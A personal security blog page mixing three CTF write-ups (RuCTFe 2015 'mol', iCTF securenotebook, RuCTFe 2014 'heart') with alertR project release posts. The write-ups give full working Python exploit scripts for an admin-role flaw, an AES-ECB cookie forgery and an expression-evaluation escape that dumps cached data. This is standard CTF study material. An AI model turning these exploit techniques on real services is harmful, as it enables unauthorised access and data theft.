Saturday, November 21. 2015RuCTFe 2015: Ministry of Love (mol) write-up
This years RuCTFe 2015 consists of many cool challenges. One of these was the "Ministry of Love" (mol) challenge.
It was a python services that ... I do not know what it does. But it does not matter. You use this service via a web interface. Once you visit the site, a Websocket is opened to the server. Then you register/login there and you have a stateful connection (no cookies or what so ever). When you surf around the webinterface, you notice that sometimes "crimes" are reported. Some of these crimes are marked as private and you can not look them up. These are the interesting ones. The description field of these crimes contain the flag. So, how can we reach them? Well, first you have to register an account to use the web interface. The function that does this is obviously named "register()". When you go through this function you will see this line: user['role'] = len(user['username']) < 3 And yes. This does exactly what it looks like. The role of the user is set to some kind of admin role if the length is lower than 3. So, let us exploit it. A simple exploit script that uses the websocket-client of python looks like this: #!/usr/bin/python import websocket import os import sys import json import re usernames = ["fx", "ab", "cd", "bf"] password = "sdfsdfsfdasfdaklsdajklfhjk" _DEBUG = True def create_connection(): for i in range(len(usernames)): host = sys.argv[1] team_id = host.split(".")[2] connection = websocket.create_connection( "ws://mol.team" + team_id + ".e.ructf.org:80/websocket") register_msg = json.dumps({"action": "register", "params": { "username": usernames[i], "password": password }}) connection.send(register_msg) response = json.loads(connection.recv()) auth_msg = json.dumps({"action": "auth", "params": { "username": usernames[i], "password": password }}) connection.send(auth_msg) response = json.loads(connection.recv()) if response["type"] == "default alert alert-success": return connection else: continue return None if _DEBUG: print "Connect to server" connection = create_connection() if connection is None: print "Could not login to service" sys.exit(1) if _DEBUG: print "Connecting successful" # ignore first response response = json.loads(connection.recv()) # get private crimes crimes_msg = json.dumps({"action": "show_crimes", "params": { "offset": 0 }}) connection.send(crimes_msg) response = json.loads(connection.recv()) private_crime_ids = list() for row in response["rows"]: if "data" in row.keys(): for data_set in row["data"]: if data_set["public"] != "": private_crime_ids.append(data_set["crimeid"]) if len(private_crime_ids) == 0: print "No private crime ids" sys.exit(1) for private_crime_id in private_crime_ids: if _DEBUG: print "Get crime id " + str(private_crime_id) crime_msg = json.dumps({"action": "show_crime", "params": { "crimeid": private_crime_id }}) connection.send(crime_msg) response = json.loads(connection.recv()) if ("type" in response.keys() and response["type"] == "default alert alert-danger"): if _DEBUG: print "Not able to get private crime" continue if not "rows" in response.keys(): if _DEBUG: print "No rows" print response continue for row in response["rows"]: if "data" in row.keys(): r = re.search("\w{31}=", row["data"]["description"]) if r: print r.group(0) And that's all. I am certain that there are more vulnerabilities in this service but because this time our team did not have so many players, I went on to the next service and never came back ![]() Sunday, September 13. 2015alertR: Version 0.300 Released
alertR is a project of mine which I started in August 2014. It is an unified alerting system which is based on a client/server model. The main part is written in Python and is published as Free-Software. If you do not know this project yet, here are some interesting links:
* Github repository * Github wiki for documentations * Blog article: Introducing alertR: Open-Source alerting system (with video) * Blog article: alertR: dbus and xbmc notification client (with video) * Blog article: alertR: rule engine (with video) What is new? The alerting system can now distinguish between "triggered" and "normal" state sensor alerts. A "triggered" sensor alert happens, when the triggered state of the sensor is reached (for example a door is opened). The "normal" sensor alert happens (if configured to be considered), when the sensor goes back to the normal state (for example if the opened door is closed again). The Mobile Manager was split into "alertR Web Mobile Manager" and "alertR Manger Client Database". The idea of the database manager is that it can be used to provide the data of the alerting system to other "not alertR" components. The database is the shared medium that have to be read by the components (for example a web page or an IRC bot) to get the information. In order to have a way for the components to communicate with the alerting system, the database manager has a local UNIX socket server. Additionally, the database manager is now able to store events in the database as an event log. Furthermore, the database manager can check the versions of all alertR clients against the available versions in the online repository. Last but not least, an alertR survey was added to the alertR server. The server can now participate in this survey and will send information about the used versions, instances, and if the online update is activated or not once a week to the survey server. The participation in this survey is optional and can be completely disabled in the configuration file of the server. The survey was added to the alertR system, because of the install and update mechanism that uses the Github repository. The way these mechanisms work, no data can be derived of the used instances or whether alertR is used after all. Mobile Web Page The mobile web page was completely rewritten for the new version. It is now able to show all information about the alerting system that is available. Also, because the alertR Manger Client Database can store an event log of events happening in the alert system, the mobile web page can display you an event log. The following shows a screenshot of the overview site of the mobile web page: ![]() Monday, April 13. 2015ictf 2014/2015 securenotebook write up
The securenotebook challenge was a 64 bit ELF binary which also consists of a zip archive. The symbols of the ELF file contained a lot of Python stuff, but we did not look deeper into it. After unpacking the zip archive, we were supplied by a lot of .pyc files. The obvious point to start was the __main__.pyc file. In order to get the python source, we used uncompyle2 from the pip repository.
The program first defines some global variables which can be seen in the following: sys.stdout = NullDevice() sys.stderr = NullDevice() FORMAT = '%(asctime)-15s %(message)s' logging.basicConfig(filename='server.log', format=FORMAT, level=logging.DEBUG) logger = logging.getLogger('server') logging.disable(logging.CRITICAL) lock = Lock() allowed_commands = set(['ls', 'cat secret.txt', 'cat server.py']) aes_key = os.urandom(32) secret = os.urandom(200) root = 'rootadministrator' manager = Manager() db = manager.dict() The first that can be noticed is that we can forget to guess the "aes_key" and "secret" in a short period of time. Let us go to the main function: def main(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = ('0.0.0.0', int(sys.argv[1])) sock.bind(server_address) sock.listen(1) processes = [] lasttime = datetime.datetime.now() try: while True: now = datetime.datetime.now() d = now - lasttime if d > datetime.timedelta(seconds=20): lasttime = now tobe_removed = [] for i in range(len(processes)): if now - processes[i][1] > datetime.timedelta(seconds=20): try: processes[i][0].terminate() except Exception as e: pass tobe_removed.append(i) else: break for i in sorted(tobe_removed, reverse=True): del processes[i] print >> sys.stderr, 'waiting for a connection' (connection, client_address,) = sock.accept() process = multiprocessing.Process(target=handle, args=(connection, client_address, db, lock)) process.daemon = True process.start() processes.append((process, datetime.datetime.now(), connection)) except Exception as e: print e As we can see, the function handle is called when an incoming connection is detected. Let us go to the handle function: def handle(connection, address, db, lock): try: connection.send('user|pass:') data = connection.recv(1024) print data, print 'read' user = authenticate(data, db, lock) if len(user) == 0: raise Exception('Not authenticated') print 'user %s authenticated' % user print 'creating token for user', print user tok = create_token(user) print 'token=', print tok connection.send(tok) while True: connection.send('\ncookie,command:') data = '' tries = 0 while len(data) == 0: data = connection.recv(1024) tries += 1 if tries > 20: connection.close() return print 'data=', print data out = parse_command(data) connection.send(out) except Exception as e: print e connection.close() We can see that first the authentication is required and after the authentication is done, a token is generated and sent back to the user. After that every input is given to the parse_command function. First let us start with the authenticate function: def authenticate(s, db, lock): lock.acquire() try: fields = s.split('|') if len(fields) < 2: raise Exception('Invalid format') return '' user = fields[0] user = user.strip() passwd = fields[1] passwd = passwd.strip() print user, print passwd if not (safe_string(user) and safe_string(passwd)): raise Exception('Unsafe') return '' if user == root: if passwd == secret: print user, print 'authenticated' return user else: raise Exception('Unauthorized') return '' else: if user in db and db[user] == passwd: print user, print 'authenticated' return user else: if user not in db: print user, print 'authenticated' db[user] = passwd return user return '' except: raise finally: lock.release() The given data is split by a "|" into user and passwd. Both values are stripped. After that both values are checked if they are safe (the function checks if the values are alphanumeric). If the user is root and the passwd is the secret from the global variables (which we can not guess nor send to the server as input because of the safe_string function), then the user is authenticated as root. Else-wise, the user is authenticated using the db or created if it does not exist yet. Nothing special in this function. So let us move on. We skip the token generation and first look into the parse_command function: def parse_command(msg): try: fs = msg.split(',') b64_c = fs[0] command = fs[1] command = command.strip() print 'command=', print command print 'fields=', print fs c = base64.b64decode(b64_c) aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB) m = aes.decrypt(c) print 'm=', print m fields = m.split('|') year = int(fields[0]) month = int(fields[1]) day = int(fields[2]) hour = int(fields[3]) minute = int(fields[4]) user = fields[5] user = user.strip() print 'mfields=', print fields ts = datetime.datetime(year, month, day, hour, minute) t = datetime.datetime.now() d = t - ts if d > datetime.timedelta(seconds=60): print 'expired' raise Exception('Expired') return '' else: if command == 'ls': print 'ls' try: pipe = os.popen('ls') out = pipe.read() pipe.close() except Exception as e: out = '' return out if command == 'cat server.py': print 'read src' try: pipe = os.popen('cat server.py') out = pipe.read() pipe.close() except Exception as e: out = '' raise return out if command == 'retv secret': print 'retv' if user == root: try: pipe = os.popen('cat secret.txt') out = pipe.read() pipe.close() except Exception as e: out = '' raise return out else: try: try: users_vault = 'secret_of_%s.txt' % user pipe = os.popen('cat "%s"' % users_vault) out = pipe.read() pipe.close() print 'out =', print out except Exception as e: out = '' raise except: out = '' return out elif command.startswith('write '): print 'write' to_write = command[len('write '):] if user == root: try: f = open('secret.txt', 'wt') f.write(to_write) f.close() except: print 'failed' raise else: try: users_vault = 'secret_of_%s.txt' % user f = open(users_vault, 'wt') f.write(to_write) f.close() except: print 'failed' raise return '' except Exception as e: print e, print 'msg=', print msg raise return '' Ok, first the function splits the data into cookie and command. The cookie is the token that is created by the server. The cookie is base64 decoded and decrypted by AES in ECB mode. An alarm bell should start in your head at this point. ECB mode looks always fishy. But let us go on. The date is extracted from the cookie and the user name. This is nice. This means we are recognized by the cookie. Therefore we can login by someone we know and could exchange our cookie to steal a session. But let us move on. The commands that can be used are "ls", "cat server.py", "retv secret" and "write". I skip the unimportant commands and only describe the "retv secret". This command outputs the file "secret_of_USERNAME.txt". In this file the flag is written by the gaming server. First, "retv secret" and "write" looked a little bit like a command injection, but because of the safe_string method we can not inject anything. But perhaps via the user value of the cookie (if we can manipulate it). Let us move on to the token generation: def create_token(user): try: print 'creating the token' t = datetime.datetime.now() plain_token = '%d|%d|%d|%d|%d|%s|CHALLENGE' % (t.year, t.month, t.day, t.hour, t.minute, user) l1 = len('%d|%d|%d|%d|%d|' % (t.year, t.month, t.day, t.hour, t.minute)) padded_plain_token = ' ' * (16 - l1 % 16) + plain_token l = len(padded_plain_token) padded_plain_token = padded_plain_token + ' ' * (16 - l % 16) aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB) enc_token = aes.encrypt(padded_plain_token) b64_token = base64.b64encode(enc_token) return b64_token except Exception as e: logger.error('%s' % str(e)) raise The token consists of the year, month, day, hour, minute, user and "CHALLENGE" separated by a "|". Then these values are padded in the front and at the back and AES encrypted via ECB mode. The result is base64 encoded and used as cookie by the server. The padding and ECB mode is interesting. The padding at the front only regards the year, month, hour and minute. This means that our user name always starts at the beginning of an AES block. Remember that AES always encrypts blocks of 16 bytes. This means the padding at the back of the string only regards our user name + "|CHALLENGE". So let us take a look at the user names the server uses. A user name that is used by the gaming server looks like this "zY3RZIQ1pVIhC2D59ySX". It is always 21 characters long and we can not guess it. But we get it by the exploiting service of the gaming server. So we know the user name, but we do not know the password. So what can we do? Because of AES with ECB and the padding we can use the service as an encrypting oracle. AES encrypts blocks of 16 bytes. This means we can first send the first 16 characters of the 21 characters user name. This will result in a cookie which contains an encrypted block that only consists of the first 16 characters of our user name. But what about the last 5 characters? We can do the same with them. When we use the last 5 characters as user name, they get extended with a "|CHALLENGE". Because the parse_command function splits the cookie using the "|" character, we do not care about the extension and the padding of the block. Long story short, we can split the user name given by the gaming server into a 16 characters and 5 characters string. For each we register at the service and get a cookie send back. Then we extract the encrypted block of the cookie that contains our string. Now we concat the encrypted block of the 16 characters and the encrypted block of the 5 characters and use it as user value in the cookie. By doing so, the service thinks we are the same user the gaming server used for the flag. Then, when we enter the "retv secret" command, we get the flag. The working exploit looks like this (CTF coding style): #!/usr/bin/env python import math from socket import * from time import time from time import sleep import sys import re import base64 BUFSIZE = 4098 class Client: def __init__(s,host,port): s.__HOST = host s.__PORT = port s.__ADDR = (s.__HOST,s.__PORT) s.__sock = None def makeConnection(s): # for TCP connection s.__sock = socket( AF_INET,SOCK_STREAM) # for UDP connection # s.__sock = socket( AF_INET,SOCK_DGRAM) s.__sock.connect(s.__ADDR) def sendCmd(s, cmd): # print cmd s.__sock.send(cmd) def getResults(s): return s.__sock.recv(BUFSIZE) def close(s): s.__sock.close() class Exploit(): def execute(self, ip, port, flag_id): # the user name the gaming server used testuser = flag_id firstPart = testuser[:16] secondPart = testuser[16:] # get first part conn = Client(ip, port) conn.makeConnection() blah = conn.getResults() #print blah password = "randomPasswd" #print firstPart conn.sendCmd("%s|%s" % (firstPart,password)) cookie = conn.getResults() print cookie firstDecoded = cookie.decode("base64") if len(firstDecoded) == 64: # minutes have length of 2 # => padding is 16 characters long (a whole block) firstBlock = firstDecoded[:48] else: # minutes have length of 1 # => only first block is padded firstBlock = firstDecoded[:32] conn.close() # get second part conn = Client(ip, port) conn.makeConnection() blah = conn.getResults() #print blah password = "randomPasswd" conn.sendCmd("%s|%s" % (secondPart,password)) cookie = conn.getResults() secondDecoded = cookie.decode("base64") #print len(secondDecoded) if len(secondDecoded) == 48: # minutes have length of 2 # => padding is 16 characters long (a whole block) secondBlock = secondDecoded[32:48] elif len(secondDecoded) == 32: # minutes have length of 1 # => only first block is padded secondBlock = secondDecoded[16:32] else: # should not happen print "fuuu" sys.exit(0) blah = len(secondBlock) finalBlock = firstBlock + secondBlock finalEncoded = finalBlock.encode("base64") conn.close() # get flag conn = Client(ip, port) conn.makeConnection() blah = conn.getResults() #print blah conn.sendCmd("%s|%s" % ("fluxisthebest","begoodbeawesome")) cookie = conn.getResults() #print cookie blah = conn.getResults() #print blah conn.sendCmd("%s,%s" % (finalEncoded,"retv secret")) self.flag = conn.getResults() def result(self): return {'FLAG': self.flag} ''' # use to test exploit test = Exploit() test.execute("10.7.71.2", 2190, "w5djPvuYEM9CQN5r5xkM") print test.result() ''' In order to fix this we just replaced the ECB mode with the CBC mode and added a random IV. Then we created a pyc file and replaced the __main__.pyc in the archive with our patched one. Saturday, January 31. 2015alertR: rule engine
Foreword and interesting links
alertR is a project of mine which I started in August 2014. It is an unified alerting system which is based on a client/server model. The main part is written in Python and is published as Free-Software. If you do not know this project yet, here are some interesting links: * Github repository * Github wiki for documentations * Blog article: Introducing alertR: Open-Source alerting system (with video) * Blog article: alertR: dbus and xbmc notification client (with video) Introduction and motivation Since I implemented alertR inside my home, I still had motion sensors connected to a Raspberry Pi which were not managed by alertR. The reason of this was that first one of the two motion sensors had to trigger and then in a time frame of 5 seconds the next one has to trigger before an event should happen. Because of this I started to implement a "rule engine" for alertR over the Christmas time. And finally it is finished. Example Before I tell you the details about the rule engine, I want to show you that the rule engine works via a short video. Please have the subtitles activated to get a description of what I am doing and what is happening. How does it work? As you could see/read in the video I used the two motion sensors to start the media center in my living room and to let it play a specific radio channel. This should only happen during the week (not on a weekend) and only at the time when I have to stand up to go to work. The media center has speakers in the living room, kitchen and bathroom. So I can hear the music inside my apartment while I prepare my self to leave for work. Now with the rule engine alertR can manage this setting too. The rule engine is able to chain rules together so you can have a sequence of rules which have to be fulfilled in a specific order and in a specific time frame. One rule can consist of different rule elements that are bound together by a boolean operator. Note at this point that this rule engine is event driven. This means that it is only checked if a sensor event is sent to the server (this also means that a rule must have at least one sensor in it). It does not work if you have a rule configured which just checks the time (if you want something like this, use cron as a sensor) or if you only have one sensor in this rule which state is negated by a NOT. Here is a list of the elements that are supported (at the time of writing this) by the rule engine: * sensor - this rule element represents a sensor of the alertR system and is evaluated if a sensor trigger event is sent to the server * boolean - this is a boolean operator to form a complex rule with the given rule elements (supported operators are: AND, OR and NOT) * weekday - this element represents the day of the week (Monday - Sunday) * monthday - this element represents the day of the month (1-31) * hour - this element represents the hour time frame in which this element is set to triggered * minute - this element represents the minute time frame in which this element is set to triggered * second - this element represents the second time frame in which this element is set to triggered With this rule elements you can form complex rules with your sensors. For example you can combine the boolean element AND with hour, minute and sensor to only trigger this rule when a specific sensor triggers in a specific time window. A practical example would be a sensor at your door and a motion sensor outside the door. Every time you come home the motion sensor is triggered first and then the door sensor (since you have to walk to the door before you can open it). When this rule triggers, you can for example start the media center with the music you like. Additionally, the rules can have a counter if you want a specific rule only trigger once every 24 hours or something like that. This is also used by me with the two motion sensors to start the media center in the living room. I only want to trigger it once a day since I only stand up and go to work once a day ![]() Final words The rule engine is a powerful tool when you use sensors in your home. With it you can perform complex checks before an actual event should trigger. At the moment I only use it for the described scenario above. But I think it will also have a lot of other fields where it can be handy. Monday, December 22. 2014RuCTFe 2014: heart write up
So here is my write-up for the heart challenge of the RuCTFe 2014. The heart service was written in Mono and provided a webinterface on which you can register yourself, set heart data points, set alerts for these data points and get all your data points.
The gaming server regularly registered a new user, sets a data point (the flag) and an alert for this data point. After that it logs in again with this registered user and reads all his data points. The service stores these data points and users in a "Redis Client Manager" database which is (when I understood it correctly) in memory. Ok, I used Simple Assembly Explorer on Windows with ILSpy to look at the code. Fortunatly, it was not obfuscated or anything like it. So we can just decompile it. The main function looked like this: // heart.Program private static void Main(string[] args) { XmlConfigurator.Configure(); try { Program.DB = new DbProvider((args.Length > 0) ? args[0] : "127.0.0.1:6379"); StaticHandler staticHandler = new StaticHandler(Program.GetPrefix(null), Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "static")); staticHandler.Start(); AddPointHandler addPointHandler = new AddPointHandler(Program.GetPrefix("add")); addPointHandler.Start(); GetPointsHandler getPointsHandler = new GetPointsHandler(Program.GetPrefix("series")); getPointsHandler.Start(); RegisterHandler registerHandler = new RegisterHandler(Program.GetPrefix("signup")); registerHandler.Start(); LoginHandler loginHandler = new LoginHandler(Program.GetPrefix("signin")); loginHandler.Start(); SetExpressionHandler setExpressionHandler = new SetExpressionHandler(Program.GetPrefix("setexpr")); setExpressionHandler.Start(); GetAlertsHandler getAlertsHandler = new GetAlertsHandler(Program.GetPrefix("alerts")); getAlertsHandler.Start(); Thread.Sleep(-1); } catch (Exception message) { Program.log.Fatal(message); } } You can see that there were 7 handlers that were registered. To skip to the interesting part, we take a look at the "setexpr" and "alerts" handler. The "setexpr" handler looked like this: using heart.utils; using System; using System.Collections.Generic; using System.Net; namespace heart.handlers { internal class SetExpressionHandler : AuthBaseHandler { public SetExpressionHandler(string prefix) : base(prefix) { } protected override void ProcessAuthorizedRequest(HttpListenerContext context, string login) { context.Request.AssertMethod("POST"); System.Collections.Generic.Dictionary<string, string> postData = context.Request.GetPostData(); string text; postData.TryGetValue("expr", out text); if (!string.IsNullOrEmpty(text)) { if (text.Length > 512) { throw new HttpException(HttpStatusCode.BadRequest, "Expression too large"); } System.DateTime utcNow = System.DateTime.UtcNow; ExpressionHelper.CalcExpression(text, Program.DB.TakeSafe(login, utcNow.AddMinutes(-60.0), utcNow)); } string text2; postData.TryGetValue("parts", out text2); if (text2 != null && text2.Length > 512) { throw new HttpException(HttpStatusCode.BadRequest, "Expression too large"); } Program.DB.SetExpression(login, text, text2); context.Response.SetCookie("expr", text2, false); BaseHandler.WriteString(context, "OK"); } } } So we have 2 POST values "expr" and "parts" from which only the "expr" is interesting. I searched in the complete code to see what "parts" does. And it does nothing but getting stored in a user variable. The "expr" is used with "CalcExpression()" which we keep in mind for the "alerts" handler. When this is done, it is set in the database via "SetExpression()". "SetExpression()" looks like this: // heart.db.DbProvider public void SetExpression(string login, string expression, string readable) { using (IRedisClient client = this.manager.GetClient()) { User user = Data<User>.ParseJson(client.GetValueFromHash("u", login)); user.Expression = expression; user.Readable = readable; client.SetEntryInHash("u", login, user.CacheItem(login, 60).ToJsonString()); } } It stores the "parts" POST value into the "user.Readable" variable and the "expr" POST value into the "user.Expression". The last one is the interesting part. So now let us look into the "alerts" handler: using heart.db; using heart.utils; using System; using System.Net; using System.Runtime.Serialization; namespace heart.handlers { internal class GetAlertsHandler : AuthBaseHandler { [DataContract] internal class Alert : Data<GetAlertsHandler.Alert> { [DataMember(Name = "msg", Order = 1, EmitDefaultValue = false)] public string Message; [DataMember(Name = "dt", Order = 2, EmitDefaultValue = false)] private long date; [IgnoreDataMember] public System.DateTime Date { get { return DateTimeUtils.ParseUnixTime(this.date); } set { this.date = value.ToUnixTime(); } } } public GetAlertsHandler(string prefix) : base(prefix) { } protected override void ProcessAuthorizedRequest(HttpListenerContext context, string login) { System.DateTime utcNow = System.DateTime.UtcNow; User user = Program.DB.FindUser(login); if (user == null) { throw new HttpException(HttpStatusCode.InternalServerError, "Can't find user"); } if (string.IsNullOrEmpty(user.Expression)) { BaseHandler.WriteData(context, null); return; } Stat stat = Program.DB.TakeSafe(login, utcNow.AddMinutes(-60.0), utcNow); string text = ExpressionHelper.CalcExpression(user.Expression, stat); BaseHandler.WriteData(context, (text != null) ? new GetAlertsHandler.Alert { Message = text, Date = System.DateTime.UtcNow }.ToJson() : null); } } } The "ProcessAuthorizedRequest()" is the interesting function. It uses the "user.Expression" (which we can set with the "setexpr" handler) and calculates something from it with "CalcExpression()". Also the "stat" variable is used which is taken from the database. Now let us look into the "CalcExpression()" method: // heart.handlers.ExpressionHelper public static string CalcExpression(string expression, Stat stat) { ExpressionContext expressionContext = new ExpressionContext(); expressionContext.Imports.AddType(typeof(Math)); expressionContext.Imports.AddType(typeof(StatMethods)); expressionContext.Variables.Add("stat", stat); expressionContext.Options.ParseCulture = CultureInfo.InvariantCulture; string result; try { IGenericExpression<string> genericExpression = expressionContext.CompileGeneric<string>(expression); result = genericExpression.Evaluate(); } catch (Exception ex2) { ExpressionCompileException ex = ex2 as ExpressionCompileException; throw new HttpException(HttpStatusCode.InternalServerError, (ex != null) ? ex.Message : "Failed to build expression"); } return result; } It sets up an expression context with some functions and the variable stat and does an "evaluate()" on it. This comes from the "Ciloci.Flee" project which I assumed as "not vulnerable" in this challenge and ignored it. But the interesting part is that the expression you can set can have methods that are given to the expression context. For example the gaming server used "Median()" which is given by the "StatMethods". So I tried some stuff with the "stat" variable like "toString()" and it got evaluated. So let us take a look at the "stat" variable class: using heart.utils; using System; using System.Runtime.Serialization; namespace heart.db { [DataContract] public class Stat : Data<Stat> { [DataMember(Name = "points", Order = 1, EmitDefaultValue = false)] public DatePoint[] Points; } } The Stat class has an array of "Points" which stores the data inserted by the user. Unfortunately for us, when we play with the "setexpr" and "alerts" we can just reach our own submitted points (and not the one of the gaming server because we do not know his user credentials). But this was to obvious to not be the vulnerable part of the challenge and I knew that somehow I have to break out of this context. Because of my own stupidity, it took me around 3h to find the bug. I thought that the class "Data" from which the class "Stat" was implemented was a .net system class. I was searching for it and did not find it on msdn and so on. Eventually, when MSLC was exploiting the service and I saw there exploit in the traffic I found the "Data" class. I was angry about my stupidity in how to operate Simple Assembly Explorer because it cost us 3h of valuable exploiting time. From thereon it was not difficult at all to exploit the service. The "Data" class has the methods "DumpCacheItems()" and "ToJsonString()". With it we could get access to the cached items that were inserted into the heart service. After that, we could iterate through the items and get it as a json string. The exploit looked like this: #!/usr/bin/python import requests import re import sys import os import json session = requests.Session() ip = sys.argv[1] ip = ip[:-1] + "6" login = "foooo1234" password = "foooo1234" data = {'login': login, 'pass': password, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'} r1 = session.post("http://" + ip + "/signup/", data=data) # check user already exists if login in r1.text: data = {'login': login, 'pass': password, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'} r1 = session.post("http://" + ip + "/signin/", data=data) # check if login was successfull if not "OK" in r1.text: raise ValueError("Login failed with:\n %s" % r1.text) # login elif "OK" in r1.text: pass else: raise ValueError("Create login failed with:\n %s" % r1.text) expr = 'stat.DumpCacheItems().Length.toString()' data = {'expr': expr, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'} r2 = session.post("http://" + ip + "/setexpr/", data=data) # get count of objects r3 = session.get("http://" + ip + "/alerts/") try: temp = json.loads(r3.text) count = int(temp["msg"]) except: raise ValueError("Can not get count") for i in range(count): expr = 'stat.DumpCacheItems()[%d].ToJsonString()' % i data = {'expr': expr, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'} r4 = session.post("http://" + ip + "/setexpr/", data=data) # get flag r5 = session.get("http://" + ip + "/alerts/") r = re.search("\w{31}=", r5.text) if r: print r.group(0) |
NavigationQuicksearchcategories |